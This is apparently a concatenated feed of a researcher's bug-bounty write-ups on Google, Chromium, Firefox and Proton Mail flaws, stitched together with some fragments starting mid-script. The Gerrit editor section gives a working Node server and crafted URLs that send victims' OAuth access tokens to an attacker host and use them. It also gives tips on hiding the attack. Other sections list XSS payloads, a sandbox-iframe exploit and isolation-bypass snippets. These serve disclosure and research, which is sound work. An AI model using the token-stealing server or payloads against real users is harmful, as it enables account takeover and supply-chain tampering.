wget "https://clients2.google.com/service/update2/crx?response=redirect&os=cros&arch=x86-64&os_arch=x86-64&nacl_arch=x86-64&prod=chromiumcrx&prodchannel=unknown&prodversion=120.0.0.0&acceptformat=crx2,crx3&x=id%3D$extensionID%26uc" -O $extensionID.zip
unzip $extensionID.zip -d extensions/$extensionID
rm $extensionID.zip
chmod -R 777 extensions/$extensionID
prettier --write extensions/$extensionID
done
This may Include extensions that are not considered official google apps.
gbecpjnejcnafnkgfciepngjcndodann
lkjlajklkdhaneeelolkfgbpikkgnkpk
kngjcibmkbngcpnaoafbgkicpgmdehje
iodihamcpbpeioajjeobimgagajmlibd
inomeogfingihgjfjlpeplalcfajhgai
hinmcgipjjndkedddmmpidnjikjebejj
ghbmnnjooekpmoecnnnilnnbdlolhkhi
fhcagphnoanpgcbhcjlijdbeeggldbof
djjmngfglakhkhmgcfdmjalogilepkhd
aihpiglmnhnhijdnjghpfnlledckkhja
abjoigjokfeibfhiahiijggogladbmfm
kgejglhpjiefppelpmljglcjbhoiplfn
noondiphcddnnabmjcihcjfbhfklnnep
nmmhkkegccagdldgiimedpiccmgmieda
nnckehldicaciogcbchegobnafnjkcne
npeicpdbkakmehahjeeohfdhnlpdklia
onjcfgnjjbnflacfbnjaapcbiecckilk
aohghmighlieiainnegkcijnfilokake
pjkljhegncpnkpknbcohdijeoejaedia
mmfbcljfglbokpmkimbfghdkjmjhdgbg
aapocclcgogkmnckokdopfmhonfmgoek
aapbdbdomjkkjkaonfhkkikfgjllcleb
felcaaldnbdncclmgdcncolpebgiejap
apdfllckaahabafndbhieahigkjlhalf
lmjegmlicamnimmfhcmpkclmigmmcbeh
hmjkmjkepdijhoojdojkdfohbdgmmhki
lpcaedmchfhocbbapmcbpinfpgnhiddi
mkaakpdehdafacodkgkpghoibnmamcme
joodangkbfjnajiiifokapkpmhfnpleo
gbkeegbaiigmenfmjfclcdgdpimamgkj
jhknlonaankphkkbnmjdlpehkinifeeg
mgijmajocgfcbeboacabfgobmjgjcoja
ldipcbpaocekfooobnbcddclnhejkcpn
mclkkofklkfljcocdinagocijmpgbhab
callobklhcbilhphinckomhgkigmfocg
kejbdjndbnbjgmefkgdddjlbokphdefk
hkgfoiooedgoejojocmhlaklaeopbecg
djflhoibgkdhkhhcedjiklpkjnoahfmg
hfhhnacclhffhdffklopdkcgdhifgngh
fllaojicojecljbmefodhfapmkghcbnh
pocpnlppkickgojjlmhdmidojbmbodfm
jndclpdbaamdhonoechobihbbiimdgai
bhloflhklmhfpedakmangadcdofhnnoh
nlbjncdgjeocebhnmkbbbdekmmmcbfjd
kcnhkahnjcbndmmehfkdnkjomaanaooo
dllkocilcinkggkchnjgegijklcililc
jnkmfdileelhofjcijamephohjechhna
jmekfmbnaedfebfnmakmokmlfpblbfdm
gecgipfabdickgidpmbicneamekgbaej
gmandedkgonhldbnjpikffdnneenijnd
djcfdncoelnlbldjfhinnjlhdjlikmph
fcgckldmmjdbpdejkclmfnnnehhocbfp
eekailopagacbcdloonjhbiecobagjci
akimgimeeoiognljlfchpbkpfbmeapkh
fhndealchbngfhdoncgcokameljahhog
emahakmocgideepebncgnmlmliepgpgb
kjeeglcidfbjdmdkkoiakojnconnemce
kbjopffcocgcnkigpnnmpcoimhjbjmba
ienfalfjdbdpebioblfackkekamfmbnh
ipkjmjaledkapilfdigkgfmpekpfnkih
eoieeedlomnegifmaghhjnghhmcldobl
cdockenadnadldjbbgcallicgledbeoc
khpfeaanjngmcnplbdlpegiifgpfgdco
jknemblkbdhdcpllfgbfekkdciegfboi
pbcodcjpfjdpcineamnnmbkkmkdpajjg
pkidpnnapnfgjhfhkpmjpbckkbaodldb
iogfkhleblhcpcekbiedikdehleodpjo
aoggjnmghgmcllfenalipjhmooomfdce
nmoffdblmcmgeicmolmhobpoocbbmknc
fklpgenihifpccgiifchnihilipmbffg
ohbmencljkleiedahijfkagnmmhbilgp
llpfnmnallbompdmklfkcibfpcfpncdd
pkbdliadhfopgfdhbldifaakplenbpnd
bhcleoapmpajopgfbbjbokgfmmjpihkj
iijdllfdmhbmlmnbcohgbfagfibpbgba
ncigbofjfbodhkaffojakplpmnleeoee
eljbmlghnomdjgdjmbdekegdkbabckhm
fmgkgdalfapcmjnanilfcpkhkhedmpdm
gkbmnjmlhjnakmfjcejhlhpnibcbjdnl
amndppkiecbdmiaihgbicalhabkkhhpk
fojlbpdodmdfcdeigmknnaeikaadaaoh
ngjnkanfphagcaokhjecbgkboelgfcnf
odkacekibiibhidpiopcmgbgebkeoced
cmhomipkklckpomafalojobppmmidlgl
aghmgfkjfbkcockededacdhemkpgdcko
eakkgknfmgeecamodkgdnoabcphgaidc
lfmkphfpdbjijhpomgecfikhfohaoine
cniohcjecdcdhgmlofniddfoeokbpbpb
gdfknffdmmjakmlikbpdngpcpbbfhbnp
obkehignjblpidgnopmikpgjklkpbgpj
aonapkfkfneahhaonjjpmcabpnbdmojl
cokoeepjbmmnhgdhlkpahohdaiedfjgn
mogcmmflienoigckdgnkkkafbgkaecbj
pipjflhdnjcdflbkmoldkkpphmhcfaio
hiijcdgcphjeljafieaejfhodfbpmgoe
gikieikejljogkfjbijjplfhbmhbmfkf
ibmblmkjihglholefminaiddohamopnn
khkjfddibboofomnlkndfedpoccieiee
ahnljpdlfbmbhfabicjhfpaahfpedgfn
pgiknkjjcfcalehnoedjngelcgopgkgc
ijimhcgeahpgfdcgaheadagkjkiibcnj
fpdeeiodjafkidabmmeighhmfffnldak
daedidciajfkjpjfmailopfppehmdlkn
omamhhjibghapdodkhlmcpibplefhmgl
gmbmikajjgmnabiglmofipeabaddhgne
https://chrome.google.com/webstore/detail/perfetto-ui/lfmkphfpdbjijhpomgecfikhfohaoine ↩ ↩2 ↩3
https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/extensions/api/debugger/debugger_api.cc;drc=3ecbe8e3eacb4ac62561e9e786e40e7e60eefd44;l=154 ↩
https://chrome.google.com/webstore/detail/screen-reader/kgejglhpjiefppelpmljglcjbhoiplfn ↩ ↩2
https://source.chromium.org/chromium/chromium/src/+/main:ui/accessibility/extensions/chromevoxclassic/ ↩
https://source.chromium.org/chromium/chromium/src/+/main:ui/accessibility/extensions/chromevoxclassic/chromevox/injected/api_implementation.js;l=71;drc=a7bb5589468949d3c12d3e067621eb51252ee031 ↩
https://source.chromium.org/chromium/chromium/src/+/main:ui/accessibility/extensions/chromevoxclassic/chromevox/injected/api_implementation.js;l=312;drc=a7bb5589468949d3c12d3e067621eb51252ee031 ↩
https://source.chromium.org/chromium/chromium/src/+/main:ui/accessibility/extensions/chromevoxclassic/chromevox/injected/api_util.js;l=78;drc=3e1a26c44c024d97dc9a4c09bbc6a2365398ca2c ↩
https://source.chromium.org/chromium/chromium/src/+/main:ui/accessibility/extensions/chromevoxclassic/chromevox/injected/pdf_processor.js;l=138;drc=3e1a26c44c024d97dc9a4c09bbc6a2365398ca2c ↩
https://chrome.google.com/webstore/detail/form-troubleshooter/lpjhcgjbicfdoijennopbjooigfipfjh ↩ ↩2
https://chrome.google.com/webstore/detail/secure-shell/iodihamcpbpeioajjeobimgagajmlibd ↩ ↩2
https://chrome.google.com/webstore/detail/deprecated-secure-shell-a/pnhechapfaindjhompbnflcldabbghjo ↩
let w = open('about:blank');
On about:blank
opener.location = 'https://colab.research.google.com/';
Leak ID from unencrypted DNS then do:
let IDfromDNS = 'blah';
let f = document.createElement('iframe');
f.hidden = true;
f.src = 'https://'+IDfromDNS+'-0-colab.googleusercontent.com/outputframe.html';
document.body.appendChild(f);
setTimeout(_ => { f.contentWindow.postMessage({sandboxed_iframe_evaluation: 'console.log(parent.opener[0].google)'}, '*'); }, 100);
On the “Welcome to Colaboratory” project using the sandbox embedded on the attackers website.
parent.opener[0].google
refers to stuff.parent.opener[5].document
refers to the chart.Sometimes sandboxes use a randomly generated subdomain for isolation unfortunately due to unencrypted DNS this is not safe. https://www.cloudflare.com/learning/dns/dns-over-tls/
]]>Target: Applications that permits taking over a Google account
Category: Execute code on the client
The following regex was used to validate the redirect URLs. Normally, the URL would be restricted to *.googlesource.com
or *.git.corp.google.com
.
The regex, however, did not correctly validate the URLs, causing https://android.googlesource.com/aogarantiza.com:1337#.googlesource.com/platform/build/+show/refs/heads/master/Changes.md
to send a request to https://aogarantiza.com:1337
, instead of https://android.googlesource.com
, This made it possible to leak the access_token
to the attacker.
L1.GERRIT_LINK_MATCHER = /(.*\/)?(.*?)\.((googlesource\.com)|(git\.corp\.google\.com))\/(.*)\/\+([a-zA-Z0-9]+)?(\/refs\/heads)?\/(.*?)[\/^](.*)/;
L1.GERRIT_LINK_MATCHER_FOR_CHANGE_FILE = /(.*\/)?(.*?)\.((googlesource\.com)|(git\.corp\.google\.com))\/?(\/c)?\/(.*)\/\+\/([0-9]+)\/([0-9]+)\/(.*)/;
L1.GERRIT_LINK_MATCHER_FOR_CHANGE_FILE_IN_GITLES = /(.*\/)?(.*?)\.((googlesource\.com)|(git\.corp\.google\.com))\/(.*)\/\+([a-zA-Z0-9]+)?(\/refs\/changes)?\/([0-9]+)\/([0-9]+)\/([0-9]+)[\/^](.*)/;
function Z1(a) {
if (!Cra.some(function(g) {
return null != g.exec((new URL(a)).origin)
}))
throw Error("Invalid host domain passed " + a);
var d = L1.GERRIT_LINK_MATCHER.exec(a)
, f = Dra.exec(a);
if (f)
return {
host: f[2],
project: f[6],
branch: f[7],
file: f[8]
};
if (d)
return {
host: d[2],
project: d[6],
branch: d[9],
file: d[10]
};
throw Error("Unable to parse change pieces.");
}
Automatically assigned P2 by “google magic”, later given S2 after human review.
server.js
const http = require('http');
const https = require("https");
const url = require('url');
const fs = require('fs');
const port = 1338;
const app = (req, res) => {
try {
// Use this to avoid an error modal about Gerrit account missing.
// We could leave modal to distract from the main error that shows the attacker URL.
// Attacker URL could also be obscured further.
console.info('Request origin:', req.headers.origin);
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', true);
} catch(e) {
console.info('Error');
}
res.statusCode = 200;
// Emulate a file listing (optional but errors look bad)
const dirResponse = {
"id": "b939af01ca07f0caa68fb8d264a68b91e86efe70",
"entries": [
{
"mode": 33188,
"type": "blob",
"id": "54c90ede642a93580a98eb4ed6e821749b04a989",
"name": ".gitignore"
},
{
"mode": 33188,
"type": "blob",
"id": "daebd5231a3ec9aafd58e6f4075f3b63e4c3bd53",
"name": "Changes.md"
},
{
"mode": 33188,
"type": "blob",
"id": "957da92f63926bf6013845f0ff0602d1f1620e0a",
"name": "CleanSpec.mk"
},
{
"mode": 33188,
"type": "blob",
"id": "74b54fadd522b739407d7d71b4ea3503fc666aeb",
"name": "Deprecation.md"
},
{
"mode": 33188,
"type": "blob",
"id": "44781a70880412fdd9007cc2bec16a4b09924c6d",
"name": "METADATA"
},
{
"mode": 33188,
"type": "blob",
"id": "97fda40f7b2006ae5f6bc895a4a1d602ceb991c6",
"name": "OWNERS"
},
{
"mode": 33188,
"type": "blob",
"id": "ce7515044e84d15868077c0a8319fc401442fc4d",
"name": "PREUPLOAD.cfg"
},
{
"mode": 33188,
"type": "blob",
"id": "47809a95ac45ec11840166adac5eb31d3ed9c788",
"name": "README.md"
},
{
"mode": 33188,
"type": "blob",
"id": "ea4788a1bc26b698697f9a1499cd2164e0d03d3d",
"name": "Usage.txt"
},
{
"mode": 33188,
"type": "blob",
"id": "b31578a29b5c64e4fa690b8f4062e045ba01185a",
"name": "buildspec.mk.default"
},
{
"mode": 16384,
"type": "tree",
"id": "9a970257168359bda2226ac81dd945e41a3db224",
"name": "common"
},
{
"mode": 33188,
"type": "blob",
"id": "004788a1bc26b698697f9a1499cd2164e0d03d3d",
"name": "HELLO_FROM_AO.txt"
},
{
"mode": 33188,
"type": "blob", // Type param will be injected as CSS class in an element, but this is of limited use
"id": "00970257168359bda2226ac81dd945e41a3db224",
"name": "HELLO_FROM_AO_SERVER" // Will be added as text
},
]
};
const query = url.parse(req.url, true).query;
if (query?.format == "JSON") {
res.end(")]}'"+JSON.stringify(dirResponse));
} else if (query?.format == "TEXT") {
res.end("TEXT RESPONSE");
} else {
res.end('Hello World');
}
if (!query.access_token) return
const payloadTimestamp = new Date();
// const payload = ' { "display_name": "PoC display name! Set on '+payloadTimestamp+'" }';
const payload = ' { "status": "Hello from PoC by NDevTK. This field was set on '+payloadTimestamp+' by PoC script hosted on Alesandro Ortiz\'s server." }';
const options = {
hostname: 'chromium-review.googlesource.com',
port: 443,
path: '/a/accounts/self/status?access_token='+encodeURIComponent(query.access_token),
method: 'PUT',
headers: {
'Content-Type': 'application/json',
'Content-Length': payload.length
}
}
const api = https.request(options, (response) => {});
api.write(payload);
api.end();
};
https.createServer({
key: fs.readFileSync('privkey.pem'),
cert: fs.readFileSync('fullchain.pem')
}, app).listen(port, () => {
console.log(`Server running on port ${port}`);
});
This uses Chromium’s Gerrit Code Review REST API.
Attackers can steal chromium.org OAuth access token from any user who visits a specially crafted URL.
If a user has previously authorized the “Android Build Team” OAuth app [1], only visiting the URL is required. If a user has not previously authorized the OAuth app, the user will see a legitimate Google OAuth prompt for the app, and the user only needs to grant access to the legit OAuth app.
There are no other preconditions.
PoC URL 1, sends creds to PoC server on https://aogarantiza.com:1338
(loads legitimate file and also spoofs directory listing):
https://edit.chromium.org/edit?repo=android/platform/build/&file=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md%3Fhttps%3A%2F%2Faogarantiza.com%3A1338%23android.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2F
PoC URL 1 loads a file from a *.googlesource.com repo and populates the directory listing with attacker-controlled content (seems limited to text via name
and a CSS class injection via type
).
Same as PoC URL 1 but with additional dummy params to obscure suspicious param in address bar:
https://edit.chromium.org/edit?repo=android%2Fplatform%2Fbuild%2F&files=platform%2Fbuild%2Frefs%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md&project=android&theme=default&editmode=default&showfilelist=1&showsidebar=1&showfooter=1&quickstart=1&showfeedback=1&autosave=1&file=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md%3Fhttps%3A%2F%2Faogarantiza.com%3A1338%23android.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2F
PoC URL 2, sends creds to PoC server on https://aogarantiza.com:1337
(does not spoof directory listing):
https://edit.chromium.org/edit?file=https%3A%2F%2Fandroid.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md%2Faogarantiza.com%3A1337%23android.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md
PoC URL 3, sends creds to non-existent hostname: https://edit.chromium.org/edit?file=https%3A%2F%2Fandroid.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md%2Fexample.example.example%23android.googlesource.com%2Fplatform%2Fbuild%2F%2Bshow%2Frefs%2Fheads%2Fmaster%2FChanges.md
NOTE: For PoC URL 1 or 2, we highly recommend using a test Google account, since the access token will be sent to https://aogarantiza.com:1337/1338
which is running the PoC server above. The PoC server will update the “About me” (status) field in Chromium Gerrit [2] but does not log the access token.
Setup if running PoC server yourself: Run attached server.js with NodeJS (provide your own privkey.pem and fullchain.pem; we generated it using certbot from Let’s Encrypt). The server must run over HTTPS. When running PoCs, replace “aogarantiza.com:1337/1338” in PoC URL 1/2 with the origin of your server.
PoC, token sent to attacker server, OAuth app previously authorized scenario: Navigate to PoC URL 1 or 2. After page loads, a token is sent to the attacker’s PoC server.
To demonstrate that the token has been stolen, the PoC server updates the user profile’s “About me” field in Chromium Gerrit [2]. To verify this, navigate to https://chromium-review.googlesource.com/settings/
while logged-in to the same Google account and observe the updated field.
PoC, token sent to attacker server, OAuth app not authorized scenario: Navigate to PoC URL 1 or 2. Click on “Log in” when prompted by the editor. Go through OAuth flow (select Google account if prompted, then click “Allow” for the OAuth app). After auth is completed, a token is sent to the attacker’s PoC server.
To demonstrate that the token has been stolen, the PoC server updates the user profile’s “About me” field in Chromium Gerrit [2]. To verify this, navigate to https://chromium-review.googlesource.com/settings/
while logged-in to the same Google account and observe the updated field.
PoC, observing DevTools Network tab:
Open a new tab.
Open DevTools and switch to the Network tab.
Navigate the same tab to PoC URL 1, 2, or 3.
If logged out, follow steps 2-3 from the authorized scenario above.
After editor loads, observe a request to attacker URL (https://aogarantiza.com:*
) with an access token of the OAuth app [1]. To more easily find the request, use the filter domain:aogarantiza.com
(using the domain actually used in attack)
If the server receiving the request does not have the correct CORS headers, the server will still receive the token because the browser still needs to make the request to see which CORS headers (if any) the server will respond with. Therefore the attack is still successful even if you see the request “fail” due to a CORS error. The PoC server sends the appropriate headers, but you can modify the PoC to test the no-CORS-headers scenario.
In cases where an attacker knows the victim is already authorized on edit.chromium.org, the attacker can open the specially-crafted URL in a popup/popunder, then navigate away or close the page after the attack is completed. In the PoC URLs above, the attacker URL is also obscured in the URL params where it is less likely to be detected. A shorter, lookalike origin could also be used, such as gsource[.]co
.
[1] The OAuth app used by edit.chromium.org is identified as “Android Build Team” when listed in https://myaccount.google.com/permissions, It seems to be the same OAuth app used in https://ci.android.com/edit
[2] Chromium Gerrit: https://chromium-review.googlesource.com
The scope of the leaked token is email profile https://www.googleapis.com/auth/userinfo.profile openid https://www.googleapis.com/auth/gerritcodereview https://www.googleapis.com/auth/androidbuild.internal https://www.googleapis.com/auth/userinfo.email
(CLs may contain sensitive information, attacker could submit their own change as the victim, set victim’s display name to a duck emoji)
Based on testing, token has permissions to read of Google account info, read+write access to most if not all Chromium Gerrit [2] endpoints, including Gerrit profile fields and access to git repositories (directory listings, read, write, etc.). We assume that if a user has access to restricted/internal git repositories, they would be accessible by the attacker with the user’s leaked token. We’re not sure what other permissions the “gerritcodereview” and “androidbuild.internal” scopes provide, This may include access to internal tools used by the repos.
e.g. make a commit as user A, review as user B, which is normal process, and approve commit as user C, and it all looks good externally unless one of those people finds it and realizes “hey, I didn’t commit or review that” and maybe hide some tracks if you have some elevated privs like admin or something mumbles something about software supply chain attacks being all the hotness right now.
With PoC URL 1, to obscure the attack the directory listing is spoofed to simulate a real directory listing, and a legitimate file is loaded. The directory listing contents can have any reasonable attacker-controlled text in it, although this is of limited use other than to avoid detection of attack.
Other instances of the editor may also be affected by this bug. For example, the editor used in the PoC is at https://edit.chromium.org/edit
, but the same editor appears to be hosted at https://ci.android.com/edit
. There may be internal instances of the editor or other public instances we aren’t aware of.
Access tokens may expire after a certain time period or can be revoked for other reasons.
There’s an embed version of the Git Source Editor that replaces googlesource.com
URLs to git.corp.google.com
(this is because pluginMode
is true
). We are not aware of any way to exploit this type of usage since it’s not using OAuth. Using OAuth can however be forced using the enable-gis
URL parameter.
state.store = {...state.store, pluginMode: true};
Also, there is an interesting feature in Gerrit, which could possibly be exploited to RCE with a jar file (if used with the correct token).
Credits:
On the agents control panel there was an iframe with the location controlled by the URL parameter cobrowseDomain
,
So you could get an XSS by navigating it to a javascript:
URL… also no embedding protection.
let f = document.createElement('iframe');
f.hidden = true;
f.src = 'https://something.uc1.ccaiplatform.com/agent/?type=popup&popup=cobrowse&cobrowseDomain=javascript:alert(window.origin);%2F%2F';
document.body.appendChild(f);
Using the chat message feature of Cloud Contact Center an agent could XSS the user on https://websdk.ujet.co by messaging https://"onmousemove="alert(window.origin)"
This could also be done by setting a custom “Waiting for Agent Assignment Message” like <img src=x onerror=alert(window.origin)>
Because the SDK used a shared origin of https://websdk.ujet.co
to render all chat sessions from Cloud Contact Center,
Any website with there own chat could hijack a different websites chat session via the window opener.
The origin was also trusted by Cobrowse which is a feature of the SDK.
Reported agent xss on Nov 10, 2022 02:13AM (P2/S2)
Marked as fixed on Jan 19, 2023 02:00AM
Reported client xss on Nov 14, 2022 12:25PM (P2/S2)
Blamed UJET on Nov 14, 2022 03:30PM
Marked as fixed on Mar 10, 2023 07:10AM
“cannot provide monetary compensation for CCAI errors reported under the grant” on Apr 18, 2023 10:55AM
Swag rewarded on Apr 19, 2023 01:55PM
Disabling JS works by setting the following CSP:
noscript-marker; script-src 'none'; object-src 'none'; media-src 'none'; font-src 'none'; script-src-elem 'none'; script-src-attr 'none'; worker-src 'none'
So, in order to bypass it you need to find somewhere the CSP is not enforced like this or a PDF.
Due to a flaw in cutting tab ties it did not think tabs where related when there was still a window reference.
async function bypassFirefox(url) {
let win = open('about:blank');
await new Promise(resolve => setTimeout(resolve, 100));
win.location.reload();
await new Promise(resolve => setTimeout(resolve, 100));
win.location = url;
return win;
}
And later… commit
let w = open();
w.eval('console.log("some attack")');
location = target;
And later… (Requires two user interactions)
w1 = open();
w2 = w1.open();
w1.close();
w2.location = target;
Like COOP this does not affect timing attacks on the first navigation.
Sandboxed content uses the origin of ‘null’ which bypassed the protection.
let f = document.createElement('iframe');
f.srcdoc = '<img src="http://192.168.1.1/foo">';
f.sandbox = 'allow-scripts';
document.body.appendChild(f);
This was also expanded to top-level documents.
document.baseURI was used to determine the policy for about: and javascript: URLs this could be set to any origin using the html base tag. commit
<base href="https://www.example.com/">
Due to a vulnerability in the server-side implementation of <devsite-language-selector>
part of the URL was reflected as html so it was possible to get XSS on the origins using that component from the 404 page.
This was found using DalFox which kept finding the same bug due to it being the “not found” page.
https://developers.google.com/foo%22%3E%3Cimg%20src=x%3E%3C/a%3E%3C/li%3E%3C/ul%3E%3C/devsite-language-selector%3E%3Ch1%3E%3Cscript%3Ealert(document.domain)%3C/script%3E/a https://cloud.google.com/foo%22%3E%3Cimg%20src=x%3E%3C/a%3E%3C/li%3E%3C/ul%3E%3C/devsite-language-selector%3E%3Ch1%3E%3Cscript%3Ealert(document.domain)%3C/script%3E/a
On the search page of google play console vulnerable code was run when the search resulted in an error.
Getting an error was simple as doing /?search=&
and because window.location
includes the hash which never encodes '
it’s possible to escape the href context and set other html attributes, unlike the DevSite XSS this is prevented by the CSP but was still awarded more by the panel.
b.innerHTML = b.innerHTML.replace(/({query})/g, "<a href='" + window.location + "'>" + a.g + "</a>");
https://play.google.com/console/about/search-results/?search=&#’onclick=alert(document.domain)//
The writeups are referenced on PortSwigger
]]>Normally attacker-controlled email content is in a sandboxed iframe that can’t run javascript and the html is sanitized with DOMPurify.
<iframe title="Email content" src="about:blank" scrolling="yes" frameborder="0" class="w100" data-testid="content-iframe" data-subject="(No Subject)" sandbox="allow-same-origin allow-popups allow-popups-to-escape-sandbox" style="height: 58px;"></iframe>
To prevent HTTPLeaks values that would normally cause remote requests such as “src” and “url()” are prefixed with “proton-“.
If the user allows remote content to be loaded and the request is an image a proxy may be used to avoid sharing the users IP address.
But the CSS sanitization was missed if in an SVG tag, this could be exploited by the attacker to bypass privacy protections using a html contained email.
<svg>
<style>
circle {
background-image: url(https://http.cat/200);
}
</style>
<circle></circle>
</svg>
If a link did not start with the regex /^https?:\/\//
it would be treated as internal this meant something like Https:// would bypass the check.
By spoofing an email from a whitelisted address such as no-reply@news.protonvpn.com
it’s possible to automatically load remote content.
Exceptions should not be made based of an attacker-controlled value. (Yes even if its sent to spam)
export const WHITE_LISTED_ADDRESSES = [
// v3
'notify@protonmail.com',
// v4
'no-reply@news.protonmail.com',
'no-reply@news.protonvpn.com',
'no-reply@app.protonmail.com',
'no-reply@notify.protonmail.com',
'no-reply@offer.protonmail.com',
'no-reply@offer.protonvpn.com',
'no-reply@notify.protonmail.com',
'no-reply@notify.protonvpn.com',
'no-reply@verify.protonmail.com',
'no-reply@notify.protonmail.com',
'no-reply@partners.protonvpn.com',
'no-reply@notify.protonmail.com',
// v5
'no-reply@news.proton.me',
'no-reply@news.protonvpn.com',
'no-reply@news.proton.me',
'no-reply@news.protonvpn.com',
'no-reply@mail.proton.me',
'no-reply@calendar.proton.me',
'no-reply@drive.proton.me',
'no-reply@vpn.proton.me',
'no-reply@offers.proton.me',
'no-reply@offer.protonvpn.com',
'no-reply@notify.proton.me',
'no-reply@notify.protonvpn.com',
'no-reply@verify.proton.me',
'no-reply@recovery.proton.me',
'no-reply@partners.proton.me',
'no-reply@referrals.proton.me',
];